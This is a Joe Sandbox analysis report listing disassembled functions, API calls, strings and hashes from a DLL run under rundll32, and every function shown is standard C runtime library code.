GetProcAddress.KERNEL32 ref: 0000000180048549

Strings

ext-ms-, xrefs: 00000001800484CA
api-ms-, xrefs: 00000001800484B3

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-$ext-ms-
API String ID: 2559590344-537541572
Opcode ID: 5f731d081a05f6a95782ac3a15dc747bbdcc723eeb0ed29383746bad62b9c2d4
Instruction ID: 0e08bba11ac0ad9f6f6124514d17085406b5fd0418ae2fa010a6a0cc5cd50d11
Opcode Fuzzy Hash: 5f731d081a05f6a95782ac3a15dc747bbdcc723eeb0ed29383746bad62b9c2d4
Instruction Fuzzy Hash: 7C31A031711E0581EBA39B16984039D63A4BB4CBE4F5D8A25BF2A437D5EF38CA498308

Function 0000000180007470 Relevance: 12.2, APIs: 8, Instructions: 234threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000000180007499
GetThreadContext.KERNEL32 ref: 0000000180007604

Part of subcall function 0000000180007230: GetCurrentThreadId.KERNEL32 ref: 0000000180007234

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 03aea4405d3ee7ac1ce51f989aca9336de7ed29b735687dc17f6ff6147a09d28
Instruction ID: de2e915fae306b5b51e8ed7498582b349e8bb643afe958a96c2b02e58ec33d63
Opcode Fuzzy Hash: 03aea4405d3ee7ac1ce51f989aca9336de7ed29b735687dc17f6ff6147a09d28
Instruction Fuzzy Hash: 13D17976609B8882DAB1DB0AE49439A77A0F39CBC5F108216FACD477A5CF7DC655CB00

Function 0000000180019740 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00000001800197B4
DName::operator+.LIBVCRUNTIME ref: 00000001800197C3

Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 000000018001788D
Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 00000001800178C6
Part of subcall function 00000001800177FC: DName::operator+.LIBVCRUNTIME ref: 0000000180017BF1

DName::operator+.LIBVCRUNTIME ref: 0000000180019863
DName::operator+.LIBVCRUNTIME ref: 0000000180019873
DName::operator+.LIBVCRUNTIME ref: 000000018001991F

Strings

{for , xrefs: 00000001800197EC

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID: {for
API String ID: 2943138195-864106941
Opcode ID: 0c0d30ad377e4ea5a3451009b1db462a15400a07ebc6bc3e0ddb6c2557d9ff17
Instruction ID: 495a72a0baf00997086ff0ea6129483d1001404d3758be8f7ad89a7954a2554b
Opcode Fuzzy Hash: 0c0d30ad377e4ea5a3451009b1db462a15400a07ebc6bc3e0ddb6c2557d9ff17
Instruction Fuzzy Hash: D9513A72605B88A9FB92DF68D4803EC77A1E349788F84D015FA485BB99DF78C799C340

Function 0000000180015AE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0000000180015B3A

Strings

%lf, xrefs: 0000000180015B75, 0000000180015BA9, 0000000180015BD9

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: NameName::
String ID: %lf
API String ID: 1333004437-2891890143
Opcode ID: 31f452ec5ec2fe0c56036b6d98129766a0febf28c96deb7dbc1a5cff6911fba6
Instruction ID: 034e1c8f7962a666fb3fc1dfd84da393ef72e1dbc0cb733e50f71f00acf91dbc
Opcode Fuzzy Hash: 31f452ec5ec2fe0c56036b6d98129766a0febf28c96deb7dbc1a5cff6911fba6
Instruction Fuzzy Hash: B331C372604F8C85EBA2DF25A8503EA6351B74EBC5F54C216FA9A4B791DF2CC3498340

Function 000000018000F96C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,000000018000FDBF,?,?,?,000000018000BE8E,?,?,?,000000018000BE49), ref: 000000018000F9F1
GetLastError.KERNEL32(?,?,00000000,000000018000FDBF,?,?,?,000000018000BE8E,?,?,?,000000018000BE49), ref: 000000018000F9FF
LoadLibraryExW.KERNEL32(?,?,00000000,000000018000FDBF,?,?,?,000000018000BE8E,?,?,?,000000018000BE49), ref: 000000018000FA29
FreeLibrary.KERNEL32(?,?,00000000,000000018000FDBF,?,?,?,000000018000BE8E,?,?,?,000000018000BE49), ref: 000000018000FA97
GetProcAddress.KERNEL32(?,?,00000000,000000018000FDBF,?,?,?,000000018000BE8E,?,?,?,000000018000BE49), ref: 000000018000FAA3

Strings

api-ms-, xrefs: 000000018000FA11

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 08dec541e6110a4941d8e95383202020bda5a6dbff8e18ce6c91f5e870de479d
Instruction ID: e8c6680ccd9c6dd87d65be781d57c711bd3b5d14812437631edbc0f748074d2d
Opcode Fuzzy Hash: 08dec541e6110a4941d8e95383202020bda5a6dbff8e18ce6c91f5e870de479d
Instruction Fuzzy Hash: DF318071312B4891EEA7DB12A8007E63394BB4DBE0F598635BD1D4BB95EF3CC6499301

Function 00000001800136C8 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000180013544: Replicator::operator[].LIBVCRUNTIME ref: 0000000180013605

DName::operator+.LIBVCRUNTIME ref: 000000018001377A

Strings

,<ellipsis>, xrefs: 0000000180013758
,..., xrefs: 0000000180013748
..., xrefs: 00000001800137B7
void, xrefs: 00000001800137EC
<ellipsis>, xrefs: 00000001800137C7

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 1405650943-2211150622
Opcode ID: 11a5eadd5112610793a0c7985b347ede0ac6dc60e7be4f47023946e3fa5dab14
Instruction ID: 1562cc7920372f8d96896f4d2247b54c2eb0bb003fb5d717fc29c8b40e6cc5f0
Opcode Fuzzy Hash: 11a5eadd5112610793a0c7985b347ede0ac6dc60e7be4f47023946e3fa5dab14
Instruction Fuzzy Hash: DA415FB6605F8898FBA28B68D8413EC77A0B30D788F54C415EA4817794DF79C749C711

Function 000000018001568C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 000000018001576F

Strings

int , xrefs: 00000001800156FD
unsigned , xrefs: 0000000180015743
short , xrefs: 000000018001570C
char , xrefs: 0000000180015715
long , xrefs: 00000001800156EE

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+
String ID: char $int $long $short $unsigned
API String ID: 2943138195-3894466517
Opcode ID: 22589a7dd1b7f51ecc45e5e498e836ee65e773c3e0422199170bc379ef7ced78
Instruction ID: 33d68ee0dd99e5be83c02a107bf8deb86d92894b08a7c1c4eda6edb91acda212
Opcode Fuzzy Hash: 22589a7dd1b7f51ecc45e5e498e836ee65e773c3e0422199170bc379ef7ced78
Instruction Fuzzy Hash: 71316876614B58C8FB968F68E8513EC37B1B34D789F54C115EA885BBA8DF38C648C740

Function 000000018000FBA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000000018000FC05
GetLastError.KERNEL32 ref: 000000018000FC13
LoadLibraryExW.KERNEL32 ref: 000000018000FC3D
FreeLibrary.KERNEL32 ref: 000000018000FC98
GetProcAddress.KERNEL32 ref: 000000018000FCA4

Strings

api-ms-, xrefs: 000000018000FC25

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: d889f2a22313e0ad3e013d7ebc648a4845f7bed772ca03482db31a9999fe791a
Instruction ID: b4b3ab6b1088bd05896873025a869169f262880e2f39a8d17b8af41b45206a1e
Opcode Fuzzy Hash: d889f2a22313e0ad3e013d7ebc648a4845f7bed772ca03482db31a9999fe791a
Instruction Fuzzy Hash: D6218231601A4881FAA6CB16A9057A973A4BB4CBF0F5C8735FE2D47BD1EF38C6499300

Function 0000000180048058 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000001800480B7
GetLastError.KERNEL32 ref: 00000001800480C9
LoadLibraryExW.KERNEL32 ref: 000000018004810A
FreeLibrary.KERNEL32 ref: 000000018004815F

Strings

ext-ms-, xrefs: 00000001800480F2
api-ms-, xrefs: 00000001800480DB

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Library$Load$ErrorFreeLast
String ID: api-ms-$ext-ms-
API String ID: 3813093105-537541572
Opcode ID: 4da3f0794fd9870cc95b278e97dc4f2c9283c1eed835cc8f1e9aaf627fd9e4b8
Instruction ID: 16723c8e79fef191a1def12aff24d5b2aa2a9400166a0adaba498011b7871d09
Opcode Fuzzy Hash: 4da3f0794fd9870cc95b278e97dc4f2c9283c1eed835cc8f1e9aaf627fd9e4b8
Instruction Fuzzy Hash: 36217531311E4481EEA6CB16A8407992294BF4CBF4F59CB21FE2A577D5DF38C64A9304

Function 000000018004832C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 66libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000000180048380
GetLastError.KERNEL32 ref: 000000018004838E
LoadLibraryExW.KERNEL32 ref: 00000001800483D0
FreeLibrary.KERNEL32 ref: 00000001800483F1

Strings

ext-ms-, xrefs: 00000001800483B5
api-ms-, xrefs: 00000001800483A2

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Library$Load$ErrorFreeLast
String ID: api-ms-$ext-ms-
API String ID: 3813093105-537541572
Opcode ID: 34d9fc0eea32f26ddee014de4325216aa93237d5f4069420858160f0f9dadc4b
Instruction ID: 2907248bf1d03caf4a9efb5c727e6e4733018bdc7bf12693e50b486c0c56baec
Opcode Fuzzy Hash: 34d9fc0eea32f26ddee014de4325216aa93237d5f4069420858160f0f9dadc4b
Instruction Fuzzy Hash: 3521D332311F5881EAA6DB1698403A92390FB4DFE4F198725EF2A437D0DF38C60A8344

Function 0000000180041790 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000000018004179F
FlsGetValue.KERNEL32 ref: 00000001800417B4
FlsSetValue.KERNEL32 ref: 00000001800417D5
FlsSetValue.KERNEL32 ref: 0000000180041802
FlsSetValue.KERNEL32 ref: 0000000180041813
FlsSetValue.KERNEL32 ref: 0000000180041824
SetLastError.KERNEL32 ref: 000000018004183F

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 931a7e6b1cf67cd6299caf61b7569a609212fd61884ef39ea5164ef7719851e4
Instruction ID: d1b00c180fb1e660eff0b05203a4b174045681b8f2dca1d24339f74a07491a67
Opcode Fuzzy Hash: 931a7e6b1cf67cd6299caf61b7569a609212fd61884ef39ea5164ef7719851e4
Instruction Fuzzy Hash: 56219F30704E0C45FAD7632155953FD1292BF4C7F9F1ACB18B836076C6EE288B095389

Function 00000001800415D4 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000001800415E3
FlsGetValue.KERNEL32 ref: 00000001800415F8
FlsSetValue.KERNEL32 ref: 0000000180041619
FlsSetValue.KERNEL32 ref: 0000000180041646
FlsSetValue.KERNEL32 ref: 0000000180041657
FlsSetValue.KERNEL32 ref: 0000000180041668
SetLastError.KERNEL32 ref: 0000000180041683

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 381c2f5c7cc53769a437e8260949d7a39dcceed1a2f38c0e1111b755c595ed80
Instruction ID: 04686a5da5c4fff237ec5e8ba751c2965937e5176a8ea2e8cb852f05b55094a1
Opcode Fuzzy Hash: 381c2f5c7cc53769a437e8260949d7a39dcceed1a2f38c0e1111b755c595ed80
Instruction Fuzzy Hash: A4116D30205E484AFAD6632155E53FD5242BB4C7F9F1ACB28B836077D6EE38CB095749

Function 000000018005B3FC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000000018005B42D
GetLastError.KERNEL32 ref: 000000018005B439
CloseHandle.KERNEL32 ref: 000000018005B451
CreateFileW.KERNEL32 ref: 000000018005B47C
WriteConsoleW.KERNEL32 ref: 000000018005B49B

Strings

CONOUT$, xrefs: 000000018005B45D

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: b6eeb1184294491e34f956f19ce6396f0c04242531a228f3773a2e0d11010417
Instruction ID: 83e0178ae380f36e1e9820465d588016c920ebf69cf6b00601a2110171500775
Opcode Fuzzy Hash: b6eeb1184294491e34f956f19ce6396f0c04242531a228f3773a2e0d11010417
Instruction Fuzzy Hash: 26119032310B8486E7A18B52F85535963A4F78CBE4F148224FA5987B94DF7DC6588740

Function 00000001800157B4 Relevance: 9.2, APIs: 6, Instructions: 161COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0000000180015866
DName::operator+.LIBVCRUNTIME ref: 0000000180015876
DName::operator+.LIBVCRUNTIME ref: 0000000180015893
DName::operator+.LIBVCRUNTIME ref: 0000000180015906
DName::operator+.LIBVCRUNTIME ref: 000000018001592F

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 806119ddee8275eca90a34da7f6d98c465c2b67501ebe87a489ba9b8b95362ce
Instruction ID: 09ad68218d141e964a4945e14ce8a54b78ee7b9198dbdf3b1dfc829bb6e04cef
Opcode Fuzzy Hash: 806119ddee8275eca90a34da7f6d98c465c2b67501ebe87a489ba9b8b95362ce
Instruction Fuzzy Hash: E7719D72610B98C9FB92CFA4E8803EC37A1F349795F61C016EA891B795DF79C659C301

Function 000000018000CDF8 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 319COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000000018000CF96
std::bad_alloc::bad_alloc.LIBCMT ref: 000000018000D2BF

Strings

csm, xrefs: 000000018000CFBD
csm, xrefs: 000000018000CEDD
csm, xrefs: 000000018000CF3F

Memory Dump Source

Source File: 00000006.00000002.3330959887.0000000180001000.00000020.00000001.01000000.00000007.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.3330909360.0000000180000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331077235.000000018005F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331127970.0000000180073000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331172905.0000000180074000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331243879.0000000180077000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331287027.000000018007C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3331335828.000000018007D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: bda6544fe4ae76e9c966046574d2ab8aba2e0a6057aceda30bee322fd5c5b1c4
Instruction ID: f316bf09ab0905bbfcd6d3bf85c0ee5a6f9e6efb4081dae354aa448471526a42
Opcode Fuzzy Hash: bda6544fe4ae76e9c966046574d2ab8aba2e0a6057aceda30bee322fd5c5b1c4
Instruction Fuzzy Hash: E8E1AE725047888AE7A2DF78D4803ED7BA1F759788F148226FF8957696CF34C689CB01

Function 0000000180041908 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,0000000180041D0D,?,?,?,?,0000000180041BB4), ref: 0000000180041917
FlsSetValue.KERNEL32(?,?,00000000,0000000180041D0D,?,?,?,?,0000000180041BB4), ref: 000000018004194D
FlsSetValue.KERNEL32(?,?,00000000,0000000180041D0D,?,?,?,?,0000000180041BB4), ref: 000000018004197A
FlsSetValue.KERNEL32(?,?,00000000,0000000180041D0D,?,?,?,?,0000000180041BB4), ref: 000000018004198B
FlsSetValue.KERNEL32(?,?,00000000,0000000180041D0D,?,?,?,?,0000000180041BB4), ref: 000000018004199C
SetLastError.KERNEL32(?,?,00000000,0000000180041D0D,?,?,?,?,0000000180041BB4), ref: 00000001800419B7

Memory Dump Source

